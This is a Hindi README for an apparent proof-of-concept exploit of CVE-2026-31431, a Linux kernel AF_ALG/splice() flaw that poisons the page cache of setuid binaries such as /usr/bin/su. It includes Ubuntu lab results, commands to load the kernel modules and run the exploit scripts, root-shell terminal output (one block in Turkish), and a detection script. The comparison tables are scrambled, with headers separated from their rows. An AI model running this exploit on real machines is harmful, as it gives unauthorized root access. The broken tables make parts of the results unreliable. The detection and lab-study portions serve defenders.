
CVE-2026-31431 (Copy-Fail) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Linux कर्नेल AF_ALG और splice() में एक दोष है, जो पेज कैश पॉइज़निंग और स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाता है। इसमें विश्लेषण, प्रयोगशाला परिणाम और डिटेक्शन स्क्रिप्ट शामिल हैं।
इस रिपॉजिटरी में CVE-2026-31431 भेद्यता का गहन विश्लेषण, प्रूफ-ऑफ-कॉन्सेप्ट (PoC), और प्रयोगशाला परीक्षण परिणाम शामिल हैं, जिसे लोकप्रिय रूप से "कॉपी-फेल" के नाम से जाना जाता है।
कॉपी-फेल लिनक्स कर्नेल के क्रिप्टो API (AF_ALG) में splice() सिस्टम कॉल के साथ संयुक्त एक तर्क दोष का फायदा उठाता है। यह एक अनविशेषाधिकार प्राप्त स्थानीय हमलावर को पेज कैश पॉइज़निंग करने की अनुमति देता है, जिससे स्थानीय विशेषाधिकार वृद्धि (LPE) होती है।
पारंपरिक एक्सप्लॉइट्स के विपरीत जो डिस्क पर फाइलों को संशोधित करते हैं, कॉपी-फेल सीधे पेज कैश (RAM) को लक्षित करता है। जब कोई फाइल पढ़ी जाती है, तो कर्नेल प्रदर्शन बढ़ाने के लिए RAM में एक प्रति संग्रहीत करता है। विशिष्ट कर्नेल संस्करणों पर authenc एल्गोरिथम में मेमोरी प्रबंधन बग के कारण, एक हमलावर कर्नेल को इन "रीड-ओनली" मेमोरी पेजों को अधिलेखित करने के लिए धोखा दे सकता है।
SETUID बाइनरीज़ जैसे /usr/bin/su के मेमोरी पेजों को पॉइज़न करके, प्रमाणीकरण को बायपास करना और रूट शेल उत्पन्न करना संभव है।
परीक्षण कई उबंटू वितरणों में किए गए, विशेष रूप से कर्नेल बैकपोर्टिंग और पैच प्रबंधन के प्रभाव की जांच करते हुए।
| वितरण | कर्नेल संस्करण | पैच तिथि | परिणाम | अवलोकन |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | अक्टूबर 2025 | ❌ विफल | सुरक्षा अपडेट सक्रिय |
| Ubuntu 22.04 | 5.15.0-125-generic | सितंबर 2024 | ✅ सफल | असुरक्षित (अनपैच्ड) |
| Ubuntu 18.04 | 4.15.0-197-generic | नवंबर 2022 | ✅ सफल | असुरक्षित (अनपैच्ड) |
कर्नेल संस्करण संख्याएँ भ्रामक हो सकती हैं। जबकि 6.8 जैसे "नए" कर्नेल सुरक्षा पैच के माध्यम से सुरक्षित हैं, 4.15 और 5.15 जैसे पुराने या EOL (एंड ऑफ लाइफ) कर्नेल बैकपोर्टेड फिक्स की कमी के कारण पूरी तरह से असुरक्षित रहे।
शोध के दौरान, समान प्रमुख कर्नेल संस्करण साझा करने वाले दो अलग-अलग Ubuntu 22.04 सिस्टम का परीक्षण करके एक आश्चर्यजनक परिणाम प्राप्त हुआ:
| कर्नेल संस्करण |
|---|
यह परीक्षण साबित करता है कि सिस्टम सुरक्षा को केवल प्रमुख संस्करण संख्या से नहीं मापा जा सकता। 5.15.0-125 चलाने वाला सर्वर सेकंडों में रूट किया जा सकता है, जबकि 5.15.0-170 हमले को पूरी तरह से अवरुद्ध कर देता है।
सफल एक्सप्लॉइटेशन आउटपुट (कर्नेल 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
PoC को विभिन्न पायथन संस्करणों में संगतता सुनिश्चित करने के लिए ctypes का उपयोग करके विकसित किया गया था (विशेष रूप से उन संस्करणों के लिए जिनमें मूल os.splice समर्थन नहीं है)।
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. कर्नेल संस्करण जांचें
# uname -r
# 2. लोडेड मॉड्यूल जांचें (कोई आउटपुट नहीं होने पर सुरक्षित)
# lsmod | grep -E "algif_aead|authencesn"
# 3. महत्वपूर्ण परीक्षण — authencesn बाइंड
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRITICAL — System Vulnerable!')
s.close()
except:
print('[+] Secure — authencesn unreachable')
"
# 4. setuid बाइनरी हैश (संदर्भ)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
मूल्यांकन तालिका:
| परिणाम | अर्थ |
|---|---|
| कोई lsmod आउटपुट नहीं + बाइंड त्रुटि | ✅ सुरक्षित |
| lsmod आउटपुट मौजूद है या बाइंड सफल | ⚠️ असुरक्षित, तुरंत पैच लागू करें |
अस्वीकरण: यह शोध और PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए हैं। अनधिकृत सिस्टम पर उपयोग के कानूनी परिणाम हो सकते हैं।
| पैच तिथि |
|---|
| परिणाम |
|---|
| स्थिति |
|---|
| 5.15.0-125 | सितंबर 2024 | ✅ सफल | असुरक्षित (एक्सप्लॉइट ट्रिगर हुआ) |
| 5.15.0-170 | जनवरी 2026 | ❌ विफल | सुरक्षित (पैच्ड) |